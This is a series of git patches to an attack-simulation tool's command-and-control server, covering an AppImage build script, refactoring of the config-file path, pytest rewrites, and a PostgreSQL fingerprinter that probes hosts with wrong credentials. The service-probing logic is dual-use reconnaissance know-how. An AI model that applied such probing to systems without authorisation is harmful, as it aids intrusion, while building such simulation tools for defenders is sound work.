-L -o ${MONKEY_BIN_DIR}/traceroute32 ${TRACEROUTE_32_BINARY_URL} +} + +if is_root; then + log_message "Please don't run this script as root" + exit 1 +fi + +if ! has_sudo; then + log_message "You need root permissions for some of this script operations. \ +Run \`sudo -v\`, enter your password, and then re-run this script." + exit 1 +fi + +config_url="https://raw.githubusercontent.com/mssalvatore/monkey/linux-deploy-binaries/deployment_scripts/config" + +setup_appdir + +install_build_prereqs +install_appimage_builder + + +load_monkey_binary_config +clone_monkey_repo +download_monkey_helper_binaries + +copy_monkey_island_to_appdir +# Create folders +log_message "Creating island dirs under $ISLAND_PATH" +mkdir -p "${MONGO_PATH}" || handle_error + +#log_message "Installing python3-distutils" +#sudo apt-get install -y python3-distutils +install_monkey_island_python_dependencies + +#log_message "Installing monkey requirements" +#sudo apt-get install -y libffi-dev upx libssl-dev libc++1 +#requirements_monkey="$INFECTION_MONKEY_DIR/requirements.txt" +#${python_cmd} -m pip install -r "${requirements_monkey}" --user --upgrade || handle_error + +download_monkey_agent_binaries + +install_mongodb + +generate_ssl_cert + +build_frontend + +#cp ./AppRun $APPDIR + +mkdir -p $APPDIR/usr/share/icons +cp $REPO_MONKEY_SRC/monkey_island/cc/ui/src/images/monkey-icon.svg $APPDIR/usr/share/icons/monkey-icon.svg +#cp ./monkey_island.desktop $APPDIR + +log_message "Building AppImage" +appimage-builder --recipe monkey_island_builder.yml --skip-appimage + + +log_message "Deployment script finished." +exit 0 diff --git a/deployment_scripts/appimage/monkey_island.desktop b/deployment_scripts/appimage/monkey_island.desktop new file mode 100644 index 00000000000..bfa2b895577 --- /dev/null +++ b/deployment_scripts/appimage/monkey_island.desktop @@ -0,0 +1,10 @@ +[Desktop Entry] +Version=1.10 +Type=Application +Name=Monkey Island +Comment=FILL ME IN +TryExec=fooview +Exec=AppRun +Icon=monkey_island.svg +Terminal=true; +Category=Security; diff --git a/deployment_scripts/appimage/monkey_island_builder.yml b/deployment_scripts/appimage/monkey_island_builder.yml new file mode 100644 index 00000000000..f0848211ae0 --- /dev/null +++ b/deployment_scripts/appimage/monkey_island_builder.yml @@ -0,0 +1,44 @@ +version: 1 + +AppDir: + path: '../monkey-appdir' + + app_info: + id: org.guardicore.monkey-island + name: Monkey Island + icon: monkey-icon + version: 1.10.0 + exec: bin/bash + exec_args: "$APPDIR/usr/src/monkey_island/linux/run.sh $HOME/.monkey_island/db" + + + apt: + arch: amd64 + sources: + - sourceline: deb [arch=amd64] http://archive.ubuntu.com/ubuntu/ bionic main restricted + key_url: http://keyserver.ubuntu.com/pks/lookup?op=get&search=0x3B4FE6ACC0B21F32 + - sourceline: deb [arch=amd64] http://archive.ubuntu.com/ubuntu/ bionic universe + - sourceline: deb [arch=amd64] http://archive.ubuntu.com/ubuntu/ bionic-security main restricted + - sourceline: deb [arch=amd64] http://archive.ubuntu.com/ubuntu/ bionic-security universe + - sourceline: deb [arch=amd64] http://archive.ubuntu.com/ubuntu/ bionic-updates main restricted + - sourceline: deb [arch=amd64] http://archive.ubuntu.com/ubuntu/ bionic-updates universe + + include: + - libc6 + - bash + - curl + - libcurl4 + - coreutils + - python3.7 + - nodejs + + runtime: + env: + PATH: '${APPDIR}/usr/bin:${PATH}' + PYTHONHOME: '${APPDIR}/usr' + PYTHONPATH: '${APPDIR}/usr/lib/python3.7/site-packages' + +AppImage: + update-information: None + sign-key: None + arch: x86_64 diff --git a/deployment_scripts/appimage/run.sh b/deployment_scripts/appimage/run.sh new file mode 100644 index 00000000000..328535e78ac --- /dev/null +++ b/deployment_scripts/appimage/run.sh @@ -0,0 +1,21 @@ +#!/bin/bash + +# Detecting command that calls python 3.7 +python_cmd="" +if [[ $(python --version 2>&1) == *"Python 3.7"* ]]; then + python_cmd="python" +fi +if [[ $(python37 --version 2>&1) == *"Python 3.7"* ]]; then + python_cmd="python37" +fi +if [[ $(python3.7 --version 2>&1) == *"Python 3.7"* ]]; then + python_cmd="python3.7" +fi + +DB_DIR=${1:-"./monkey_island/bin/mongodb/db"} + +mkdir -p $DB_DIR + +cd $APPDIR/usr/src +./monkey_island/bin/mongodb/bin/mongod --dbpath $DB_DIR & +${python_cmd} ./monkey_island.py From 0230c26f19012ed21298b25bdfd62d6d2f522d2e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 8 Feb 2021 11:18:18 -0500 Subject: [PATCH 0052/1360] cc: allow server_config.json to be specified at runtime --- monkey/monkey_island.py | 13 +++++++--- .../cc/environment/environment_config.py | 20 +++++++++------ .../cc/environment/environment_singleton.py | 25 +++++++++++-------- .../cc/environment/test_environment_config.py | 7 +++--- monkey/monkey_island/cc/main.py | 5 +++- 5 files changed, 44 insertions(+), 26 deletions(-) diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index cd452066c43..2e410cd9f32 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -3,19 +3,24 @@ gevent_monkey.patch_all() from monkey_island.cc.main import main +from monkey_island.cc.environment.environment_config import DEFAULT_SERVER_CONFIG_PATH def parse_cli_args(): import argparse - parser = argparse.ArgumentParser(description="Infection Monkey Island CnC Server. See https://infectionmonkey.com") + parser = argparse.ArgumentParser(description="Infection Monkey Island CnC Server. See https://infectionmonkey.com", + formatter_class=argparse.ArgumentDefaultsHelpFormatter) parser.add_argument("-s", "--setup-only", action="store_true", help="Pass this flag to cause the Island to setup and exit without actually starting. " "This is useful for preparing Island to boot faster later-on, so for " "compiling/packaging Islands.") + parser.add_argument("-c", "--config", action="store", + help="The path to the server configuration file.", + default=DEFAULT_SERVER_CONFIG_PATH) args = parser.parse_args() - return args.setup_only + return (args.setup_only, args.config) if "__main__" == __name__: - is_setup_only = parse_cli_args() - main(is_setup_only) + (is_setup_only, config) = parse_cli_args() + main(is_setup_only, config) diff --git a/monkey/monkey_island/cc/environment/environment_config.py b/monkey/monkey_island/cc/environment/environment_config.py index 35dbafc8e04..a680658a263 100644 --- a/monkey/monkey_island/cc/environment/environment_config.py +++ b/monkey/monkey_island/cc/environment/environment_config.py @@ -12,6 +12,7 @@ from monkey_island.cc.resources.auth.user_store import UserStore SERVER_CONFIG_FILENAME = "server_config.json" +DEFAULT_SERVER_CONFIG_PATH = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', SERVER_CONFIG_FILENAME) class EnvironmentConfig: @@ -20,6 +21,7 @@ def __init__(self, deployment: str, user_creds: UserCreds, aws=None): + self.server_config_path = None self.server_config = server_config self.deployment = deployment self.user_creds = user_creds @@ -40,22 +42,24 @@ def get_from_dict(dict_data: Dict) -> EnvironmentConfig: aws=aws) def save_to_file(self): - file_path = EnvironmentConfig.get_config_file_path() - with open(file_path, 'w') as f: + with open(self.server_config_path, 'w') as f: f.write(json.dumps(self.to_dict(), indent=2)) @staticmethod - def get_from_file() -> EnvironmentConfig: - file_path = EnvironmentConfig.get_config_file_path() + def get_from_file(file_path=DEFAULT_SERVER_CONFIG_PATH) -> EnvironmentConfig: + file_path = os.path.expanduser(file_path) + if not Path(file_path).is_file(): server_config_generator.create_default_config_file(file_path) with open(file_path, 'r') as f: config_content = f.read() - return EnvironmentConfig.get_from_json(config_content) - @staticmethod - def get_config_file_path() -> str: - return os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', SERVER_CONFIG_FILENAME) + environment_config = EnvironmentConfig.get_from_json(config_content) + # TODO: Populating this property is not ideal. Revisit this when you + # make the logger config file configurable at runtime. + environment_config.server_config_path = file_path + + return environment_config def to_dict(self) -> Dict: config_dict = {'server_config': self.server_config, diff --git a/monkey/monkey_island/cc/environment/environment_singleton.py b/monkey/monkey_island/cc/environment/environment_singleton.py index 6b98d0b7c67..aab06285f56 100644 --- a/monkey/monkey_island/cc/environment/environment_singleton.py +++ b/monkey/monkey_island/cc/environment/environment_singleton.py @@ -1,7 +1,9 @@ import logging import monkey_island.cc.resources.auth.user_store as user_store -from monkey_island.cc.environment import EnvironmentConfig, aws, password, standard, testing +from monkey_island.cc.environment import (EnvironmentConfig, aws, password, + standard, testing) +from monkey_island.cc.environment.environment_config import DEFAULT_SERVER_CONFIG_PATH __author__ = 'itay.mizeretz' @@ -35,13 +37,16 @@ def set_to_standard(): env.save_config() user_store.UserStore.set_users(env.get_auth_users()) +def initialize_from_file(file_path): + try: + config = EnvironmentConfig.get_from_file(file_path) -try: - config = EnvironmentConfig.get_from_file() - __env_type = config.server_config - set_env(__env_type, config) - # noinspection PyUnresolvedReferences - logger.info('Monkey\'s env is: {0}'.format(env.__class__.__name__)) -except Exception: - logger.error('Failed initializing environment', exc_info=True) - raise + __env_type = config.server_config + set_env(__env_type, config) + # noinspection PyUnresolvedReferences + logger.info('Monkey\'s env is: {0}'.format(env.__class__.__name__)) + except Exception: + logger.error('Failed initializing environment', exc_info=True) + raise + +initialize_from_file(DEFAULT_SERVER_CONFIG_PATH) diff --git a/monkey/monkey_island/cc/environment/test_environment_config.py b/monkey/monkey_island/cc/environment/test_environment_config.py index ed9b0ef96da..2f076a3a02f 100644 --- a/monkey/monkey_island/cc/environment/test_environment_config.py +++ b/monkey/monkey_island/cc/environment/test_environment_config.py @@ -7,7 +7,7 @@ import monkey_island.cc.test_common.environment.server_config_mocks as config_mocks from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH -from monkey_island.cc.environment.environment_config import EnvironmentConfig +from monkey_island.cc.environment.environment_config import EnvironmentConfig, DEFAULT_SERVER_CONFIG from monkey_island.cc.environment.user_creds import UserCreds @@ -46,6 +46,7 @@ def _test_save_to_file(self, config: Dict): env_config = EnvironmentConfig(server_config=config['server_config'], deployment=config['deployment'], user_creds=user_creds) + env_config.server_config_path = get_server_config_file_path_test_version() env_config.save_to_file() file_path = get_server_config_file_path_test_version() @@ -55,12 +56,12 @@ def _test_save_to_file(self, config: Dict): self.assertDictEqual(config, json.loads(content_from_file)) - def test_get_server_config_file_path(self): + def test_default_server_config_file_path(self): if platform.system() == "Windows": server_file_path = MONKEY_ISLAND_ABS_PATH + r"\cc\server_config.json" else: server_file_path = MONKEY_ISLAND_ABS_PATH + "/cc/server_config.json" - self.assertEqual(EnvironmentConfig.get_config_file_path(), server_file_path) + self.assertEqual(DEFAULT_SERVER_CONFIG_PATH, server_file_path) def test_get_from_dict(self): config_dict = config_mocks.CONFIG_WITH_CREDENTIALS diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index ce142edccc7..27d9281345f 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -21,6 +21,7 @@ logger = logging.getLogger(__name__) import monkey_island.cc.environment.environment_singleton as env_singleton # noqa: E402 +from monkey_island.cc.environment.environment_config import DEFAULT_SERVER_CONFIG_PATH from common.version import get_version # noqa: E402 from monkey_island.cc.app import init_app # noqa: E402 from monkey_island.cc.server_utils.bootloader_server import BootloaderHttpServer # noqa: E402 @@ -34,8 +35,10 @@ MINIMUM_MONGO_DB_VERSION_REQUIRED = "4.2.0" -def main(should_setup_only=False): +def main(should_setup_only=False, server_config_filename=DEFAULT_SERVER_CONFIG_PATH): logger.info("Starting bootloader server") + env_singleton.initialize_from_file(server_config_filename) + mongo_url = os.environ.get('MONGO_URL', env_singleton.env.get_mongo_url()) bootloader_server_thread = Thread(target=BootloaderHttpServer(mongo_url).serve_forever, daemon=True) From 1d73f6e860a1111d5557d607ce9fa232912cd2da Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 8 Feb 2021 13:04:33 -0500 Subject: [PATCH 0053/1360] cc: move DEFAULT_SERVER_CONFIG_PATH to consts.py --- .../cc/environment/environment_config.py | 4 +--- .../cc/environment/environment_singleton.py | 2 +- .../cc/environment/test_environment_config.py | 10 +--------- monkey/monkey_island/cc/main.py | 2 +- monkey/monkey_island/cc/server_utils/consts.py | 3 +++ monkey/monkey_island/cc/test_consts.py | 11 +++++++++++ 6 files changed, 18 insertions(+), 14 deletions(-) create mode 100644 monkey/monkey_island/cc/test_consts.py diff --git a/monkey/monkey_island/cc/environment/environment_config.py b/monkey/monkey_island/cc/environment/environment_config.py index a680658a263..006f4d23318 100644 --- a/monkey/monkey_island/cc/environment/environment_config.py +++ b/monkey/monkey_island/cc/environment/environment_config.py @@ -6,13 +6,11 @@ from typing import Dict, List import monkey_island.cc.environment.server_config_generator as server_config_generator -from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH +from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH from monkey_island.cc.environment.user_creds import UserCreds from monkey_island.cc.resources.auth.auth_user import User from monkey_island.cc.resources.auth.user_store import UserStore -SERVER_CONFIG_FILENAME = "server_config.json" -DEFAULT_SERVER_CONFIG_PATH = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', SERVER_CONFIG_FILENAME) class EnvironmentConfig: diff --git a/monkey/monkey_island/cc/environment/environment_singleton.py b/monkey/monkey_island/cc/environment/environment_singleton.py index aab06285f56..6934c5cd2b3 100644 --- a/monkey/monkey_island/cc/environment/environment_singleton.py +++ b/monkey/monkey_island/cc/environment/environment_singleton.py @@ -3,7 +3,7 @@ import monkey_island.cc.resources.auth.user_store as user_store from monkey_island.cc.environment import (EnvironmentConfig, aws, password, standard, testing) -from monkey_island.cc.environment.environment_config import DEFAULT_SERVER_CONFIG_PATH +from monkey_island.cc.consts import DEFAULT_SERVER_CONFIG_PATH __author__ = 'itay.mizeretz' diff --git a/monkey/monkey_island/cc/environment/test_environment_config.py b/monkey/monkey_island/cc/environment/test_environment_config.py index 2f076a3a02f..d00fd1de195 100644 --- a/monkey/monkey_island/cc/environment/test_environment_config.py +++ b/monkey/monkey_island/cc/environment/test_environment_config.py @@ -1,13 +1,12 @@ import json import os -import platform from typing import Dict from unittest import TestCase from unittest.mock import MagicMock, patch import monkey_island.cc.test_common.environment.server_config_mocks as config_mocks from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH -from monkey_island.cc.environment.environment_config import EnvironmentConfig, DEFAULT_SERVER_CONFIG +from monkey_island.cc.environment.environment_config import EnvironmentConfig from monkey_island.cc.environment.user_creds import UserCreds @@ -56,13 +55,6 @@ def _test_save_to_file(self, config: Dict): self.assertDictEqual(config, json.loads(content_from_file)) - def test_default_server_config_file_path(self): - if platform.system() == "Windows": - server_file_path = MONKEY_ISLAND_ABS_PATH + r"\cc\server_config.json" - else: - server_file_path = MONKEY_ISLAND_ABS_PATH + "/cc/server_config.json" - self.assertEqual(DEFAULT_SERVER_CONFIG_PATH, server_file_path) - def test_get_from_dict(self): config_dict = config_mocks.CONFIG_WITH_CREDENTIALS env_conf = EnvironmentConfig.get_from_dict(config_dict) diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index 27d9281345f..fa7ff524d7e 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -21,7 +21,7 @@ logger = logging.getLogger(__name__) import monkey_island.cc.environment.environment_singleton as env_singleton # noqa: E402 -from monkey_island.cc.environment.environment_config import DEFAULT_SERVER_CONFIG_PATH +from monkey_island.cc.consts import DEFAULT_SERVER_CONFIG_PATH from common.version import get_version # noqa: E402 from monkey_island.cc.app import init_app # noqa: E402 from monkey_island.cc.server_utils.bootloader_server import BootloaderHttpServer # noqa: E402 diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index c302f6fb702..b5e9b7dce15 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -4,3 +4,6 @@ MONKEY_ISLAND_ABS_PATH = os.path.join(os.getcwd(), 'monkey_island') DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS = 60 * 5 + +_SERVER_CONFIG_FILENAME = "server_config.json" +DEFAULT_SERVER_CONFIG_PATH = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', _SERVER_CONFIG_FILENAME) diff --git a/monkey/monkey_island/cc/test_consts.py b/monkey/monkey_island/cc/test_consts.py new file mode 100644 index 00000000000..f1bb4580536 --- /dev/null +++ b/monkey/monkey_island/cc/test_consts.py @@ -0,0 +1,11 @@ +import platform +import monkey_island.cc.consts as consts + + +def test_default_server_config_file_path(): + if platform.system() == "Windows": + server_file_path = consts.MONKEY_ISLAND_ABS_PATH + r"\cc\server_config.json" + else: + server_file_path = consts.MONKEY_ISLAND_ABS_PATH + "/cc/server_config.json" + + assert consts.DEFAULT_SERVER_CONFIG_PATH == server_file_path From 986219bd8657a9cd77e6419410207abfe93eeb47 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 8 Feb 2021 14:19:15 -0500 Subject: [PATCH 0054/1360] cc: rework EnvironmentConfig test 1. Rewrote in pytest 2. Removed reduntant tests 3. Added tests for add_user() and get_users() --- .../cc/environment/environment_singleton.py | 2 +- .../cc/environment/test_environment_config.py | 197 ++++++++++-------- monkey/monkey_island/cc/main.py | 2 +- monkey/monkey_island/cc/test_consts.py | 2 +- 4 files changed, 117 insertions(+), 86 deletions(-) diff --git a/monkey/monkey_island/cc/environment/environment_singleton.py b/monkey/monkey_island/cc/environment/environment_singleton.py index 6934c5cd2b3..bbcc755849c 100644 --- a/monkey/monkey_island/cc/environment/environment_singleton.py +++ b/monkey/monkey_island/cc/environment/environment_singleton.py @@ -3,7 +3,7 @@ import monkey_island.cc.resources.auth.user_store as user_store from monkey_island.cc.environment import (EnvironmentConfig, aws, password, standard, testing) -from monkey_island.cc.consts import DEFAULT_SERVER_CONFIG_PATH +from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH __author__ = 'itay.mizeretz' diff --git a/monkey/monkey_island/cc/environment/test_environment_config.py b/monkey/monkey_island/cc/environment/test_environment_config.py index d00fd1de195..dea22dd3f44 100644 --- a/monkey/monkey_island/cc/environment/test_environment_config.py +++ b/monkey/monkey_island/cc/environment/test_environment_config.py @@ -1,92 +1,123 @@ import json import os from typing import Dict -from unittest import TestCase -from unittest.mock import MagicMock, patch + +import pytest import monkey_island.cc.test_common.environment.server_config_mocks as config_mocks -from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.environment.environment_config import EnvironmentConfig from monkey_island.cc.environment.user_creds import UserCreds -def get_server_config_file_path_test_version(): - return os.path.join(os.getcwd(), 'test_config.json') - - -class TestEnvironmentConfig(TestCase): - - def test_get_from_json(self): - self._test_get_from_json(config_mocks.CONFIG_WITH_CREDENTIALS) - self._test_get_from_json(config_mocks.CONFIG_NO_CREDENTIALS) - self._test_get_from_json(config_mocks.CONFIG_PARTIAL_CREDENTIALS) - - def _test_get_from_json(self, config: Dict): - config_json = json.dumps(config) - env_config_object = EnvironmentConfig.get_from_json(config_json) - self.assertEqual(config['server_config'], env_config_object.server_config) - self.assertEqual(config['deployment'], env_config_object.deployment) - if 'user' in config: - self.assertEqual(config['user'], env_config_object.user_creds.username) - if 'password_hash' in config: - self.assertEqual(config['password_hash'], env_config_object.user_creds.password_hash) - if 'aws' in config: - self.assertEqual(config['aws'], env_config_object.aws) - - def test_save_to_file(self): - self._test_save_to_file(config_mocks.CONFIG_WITH_CREDENTIALS) - self._test_save_to_file(config_mocks.CONFIG_NO_CREDENTIALS) - self._test_save_to_file(config_mocks.CONFIG_PARTIAL_CREDENTIALS) - - @patch.object(target=EnvironmentConfig, attribute="get_config_file_path", - new=MagicMock(return_value=get_server_config_file_path_test_version())) - def _test_save_to_file(self, config: Dict): - user_creds = UserCreds.get_from_dict(config) - env_config = EnvironmentConfig(server_config=config['server_config'], - deployment=config['deployment'], - user_creds=user_creds) - env_config.server_config_path = get_server_config_file_path_test_version() - - env_config.save_to_file() - file_path = get_server_config_file_path_test_version() - with open(file_path, 'r') as f: - content_from_file = f.read() - os.remove(file_path) - - self.assertDictEqual(config, json.loads(content_from_file)) - - def test_get_from_dict(self): - config_dict = config_mocks.CONFIG_WITH_CREDENTIALS - env_conf = EnvironmentConfig.get_from_dict(config_dict) - self.assertEqual(env_conf.server_config, config_dict['server_config']) - self.assertEqual(env_conf.deployment, config_dict['deployment']) - self.assertEqual(env_conf.user_creds.username, config_dict['user']) - self.assertEqual(env_conf.aws, None) - - config_dict = config_mocks.CONFIG_BOGUS_VALUES - env_conf = EnvironmentConfig.get_from_dict(config_dict) - self.assertEqual(env_conf.server_config, config_dict['server_config']) - self.assertEqual(env_conf.deployment, config_dict['deployment']) - self.assertEqual(env_conf.user_creds.username, config_dict['user']) - self.assertEqual(env_conf.aws, config_dict['aws']) - - def test_to_dict(self): - conf_json1 = json.dumps(config_mocks.CONFIG_WITH_CREDENTIALS) - self._test_to_dict(EnvironmentConfig.get_from_json(conf_json1)) - - conf_json2 = json.dumps(config_mocks.CONFIG_NO_CREDENTIALS) - self._test_to_dict(EnvironmentConfig.get_from_json(conf_json2)) - - conf_json3 = json.dumps(config_mocks.CONFIG_PARTIAL_CREDENTIALS) - self._test_to_dict(EnvironmentConfig.get_from_json(conf_json3)) - - def _test_to_dict(self, env_config_object: EnvironmentConfig): - test_dict = {'server_config': env_config_object.server_config, - 'deployment': env_config_object.deployment} - user_creds = env_config_object.user_creds - if user_creds.username: - test_dict.update({'user': user_creds.username}) - if user_creds.password_hash: - test_dict.update({'password_hash': user_creds.password_hash}) - - self.assertDictEqual(test_dict, env_config_object.to_dict()) + + +@pytest.fixture +def config_file(tmpdir): + return os.path.join(tmpdir, "test_config.json") + + +def test_get_with_credentials(config_file): + test_conf = config_mocks.CONFIG_WITH_CREDENTIALS + + _write_test_config_to_tmp(config_file, test_conf) + config_dict = EnvironmentConfig.get_from_file(config_file).to_dict() + + assert len(config_dict.keys()) == 4 + assert config_dict["server_config"] == test_conf["server_config"] + assert config_dict["deployment"] == test_conf["deployment"] + assert config_dict["user"] == test_conf["user"] + assert config_dict["password_hash"] == test_conf["password_hash"] + + +def test_get_with_no_credentials(config_file): + test_conf = config_mocks.CONFIG_NO_CREDENTIALS + + _write_test_config_to_tmp(config_file, test_conf) + config_dict = EnvironmentConfig.get_from_file(config_file).to_dict() + + assert len(config_dict.keys()) == 2 + assert config_dict["server_config"] == test_conf["server_config"] + assert config_dict["deployment"] == test_conf["deployment"] + + +def test_get_with_partial_credentials(config_file): + test_conf = config_mocks.CONFIG_PARTIAL_CREDENTIALS + + _write_test_config_to_tmp(config_file, test_conf) + config_dict = EnvironmentConfig.get_from_file(config_file).to_dict() + + assert len(config_dict.keys()) == 3 + assert config_dict["server_config"] == test_conf["server_config"] + assert config_dict["deployment"] == test_conf["deployment"] + assert config_dict["user"] == test_conf["user"] + + +def _write_test_config_to_tmp(config_file, config: Dict): + with open(config_file, "wt") as f: + json.dump(config, f) + + +def test_save_to_file(config_file): + server_config = "standard" + deployment = "develop" + user = "test_user" + password_hash = "abcdef" + aws = "test" + + environment_config = EnvironmentConfig( + server_config, deployment, UserCreds(user, password_hash), aws + ) + environment_config.server_config_path = config_file + + environment_config.save_to_file() + with open(config_file, "r") as f: + from_file = json.load(f) + + assert len(from_file.keys()) == 5 + assert from_file["server_config"] == server_config + assert from_file["deployment"] == deployment + assert from_file["user"] == user + assert from_file["password_hash"] == password_hash + assert from_file["aws"] == aws + + +def test_add_user(config_file): + server_config = "standard" + deployment = "develop" + user = "test_user" + password_hash = "abcdef" + + new_user = "new_user" + new_password_hash = "fedcba" + new_user_creds = UserCreds(new_user, new_password_hash) + + environment_config = EnvironmentConfig( + server_config, deployment, UserCreds(user, password_hash) + ) + environment_config.server_config_path = config_file + + environment_config.add_user(new_user_creds) + + with open(config_file, "r") as f: + from_file = json.load(f) + + assert len(from_file.keys()) == 4 + assert from_file["user"] == new_user + assert from_file["password_hash"] == new_password_hash + + +def test_get_users(): + server_config = "standard" + deployment = "develop" + user = "test_user" + password_hash = "abcdef" + + environment_config = EnvironmentConfig( + server_config, deployment, UserCreds(user, password_hash) + ) + + users = environment_config.get_users() + assert len(users) == 1 + assert users[0].id == 1 + assert users[0].username == user + assert users[0].secret == password_hash diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index fa7ff524d7e..b60a614977e 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -21,7 +21,7 @@ logger = logging.getLogger(__name__) import monkey_island.cc.environment.environment_singleton as env_singleton # noqa: E402 -from monkey_island.cc.consts import DEFAULT_SERVER_CONFIG_PATH +from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH from common.version import get_version # noqa: E402 from monkey_island.cc.app import init_app # noqa: E402 from monkey_island.cc.server_utils.bootloader_server import BootloaderHttpServer # noqa: E402 diff --git a/monkey/monkey_island/cc/test_consts.py b/monkey/monkey_island/cc/test_consts.py index f1bb4580536..76a08a2586d 100644 --- a/monkey/monkey_island/cc/test_consts.py +++ b/monkey/monkey_island/cc/test_consts.py @@ -1,5 +1,5 @@ import platform -import monkey_island.cc.consts as consts +import monkey_island.cc.server_utils.consts as consts def test_default_server_config_file_path(): From 4b5415ac0b946b5b6a9e5beaf398057ab1901381 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 8 Feb 2021 15:00:46 -0500 Subject: [PATCH 0055/1360] cc: fix server_config_generator behavior --- .../cc/environment/server_config_generator.py | 5 +++-- .../cc/environment/test_environment_config.py | 12 ++++++++++++ monkey/monkey_island/cc/server_config.json.standard | 4 ++++ monkey/monkey_island/cc/server_utils/consts.py | 3 +++ 4 files changed, 22 insertions(+), 2 deletions(-) create mode 100644 monkey/monkey_island/cc/server_config.json.standard diff --git a/monkey/monkey_island/cc/environment/server_config_generator.py b/monkey/monkey_island/cc/environment/server_config_generator.py index d5c6455646f..d52d5261dc9 100644 --- a/monkey/monkey_island/cc/environment/server_config_generator.py +++ b/monkey/monkey_island/cc/environment/server_config_generator.py @@ -1,7 +1,8 @@ from pathlib import Path +from monkey_island.cc.consts import DEFAULT_STANDARD_SERVER_CONFIG + def create_default_config_file(path): - default_config_path = f"{path}.default" - default_config = Path(default_config_path).read_text() + default_config = Path(DEFAULT_STANDARD_SERVER_CONFIG).read_text() Path(path).write_text(default_config) diff --git a/monkey/monkey_island/cc/environment/test_environment_config.py b/monkey/monkey_island/cc/environment/test_environment_config.py index dea22dd3f44..f038eed74b8 100644 --- a/monkey/monkey_island/cc/environment/test_environment_config.py +++ b/monkey/monkey_island/cc/environment/test_environment_config.py @@ -121,3 +121,15 @@ def test_get_users(): assert users[0].id == 1 assert users[0].username == user assert users[0].secret == password_hash + +def test_generate_default_file(config_file): + environment_config = EnvironmentConfig.get_from_file(config_file) + + assert os.path.isfile(config_file) + + assert environment_config.server_config == "password" + assert environment_config.deployment == "standard" + assert environment_config.user_creds.username == "" + assert environment_config.user_creds.password_hash == "" + assert environment_config.aws is None + environment_config.server_config_path == config_file diff --git a/monkey/monkey_island/cc/server_config.json.standard b/monkey/monkey_island/cc/server_config.json.standard new file mode 100644 index 00000000000..7bdd9a1631e --- /dev/null +++ b/monkey/monkey_island/cc/server_config.json.standard @@ -0,0 +1,4 @@ +{ + "server_config": "password", + "deployment": "standard" +} diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index b5e9b7dce15..0be7e776d39 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -7,3 +7,6 @@ _SERVER_CONFIG_FILENAME = "server_config.json" DEFAULT_SERVER_CONFIG_PATH = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', _SERVER_CONFIG_FILENAME) + +_STANDARD_SERVER_CONFIG_FILENAME = "server_config.json.standard" +DEFAULT_STANDARD_SERVER_CONFIG = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', _STANDARD_SERVER_CONFIG_FILENAME) From 91b858e1625a03b7208e51e851b0b7af9f88bc55 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 31 Mar 2021 12:13:49 +0530 Subject: [PATCH 0056/1360] Handle the case where the postgres connection is successful --- monkey/infection_monkey/network/postgresql_finger.py | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/monkey/infection_monkey/network/postgresql_finger.py b/monkey/infection_monkey/network/postgresql_finger.py index aa5b89b66fd..99976043267 100644 --- a/monkey/infection_monkey/network/postgresql_finger.py +++ b/monkey/infection_monkey/network/postgresql_finger.py @@ -45,6 +45,14 @@ def get_host_fingerprint(self, host): sslmode='prefer', connect_timeout=MEDIUM_REQUEST_TIMEOUT) # don't need to worry about DB name; creds are wrong, won't check + # if it comes here, the creds worked + # this shouldn't happen since capital letters are not supported in postgres usernames + # perhaps the service is a honeypot + host.services[self._SCANNED_SERVICE]['communication_encryption_details'] =\ + f'The PostgreSQL server was unexpectedly accessible with the credentials - ' +\ + 'user: \'{self.CREDS['username']}\' and password: \'{self.CREDS['password']}\'. Is this a honeypot?' + return True + except psycopg2.OperationalError as ex: # try block will throw an OperationalError since the credentials are wrong, which we then analyze try: From 165b0df19581a1b20657423cf7b91d63a6420fe0 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 31 Mar 2021 13:01:18 +0530 Subject: [PATCH 0057/1360] Testing changes --- monkey/infection_monkey/network/postgresql_finger.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/network/postgresql_finger.py b/monkey/infection_monkey/network/postgresql_finger.py index 99976043267..2bc40261545 100644 --- a/monkey/infection_monkey/network/postgresql_finger.py +++ b/monkey/infection_monkey/network/postgresql_finger.py @@ -48,9 +48,10 @@ def get_host_fingerprint(self, host): # if it comes here, the creds worked # this shouldn't happen since capital letters are not supported in postgres usernames # perhaps the service is a honeypot + self.init_service(host.services, 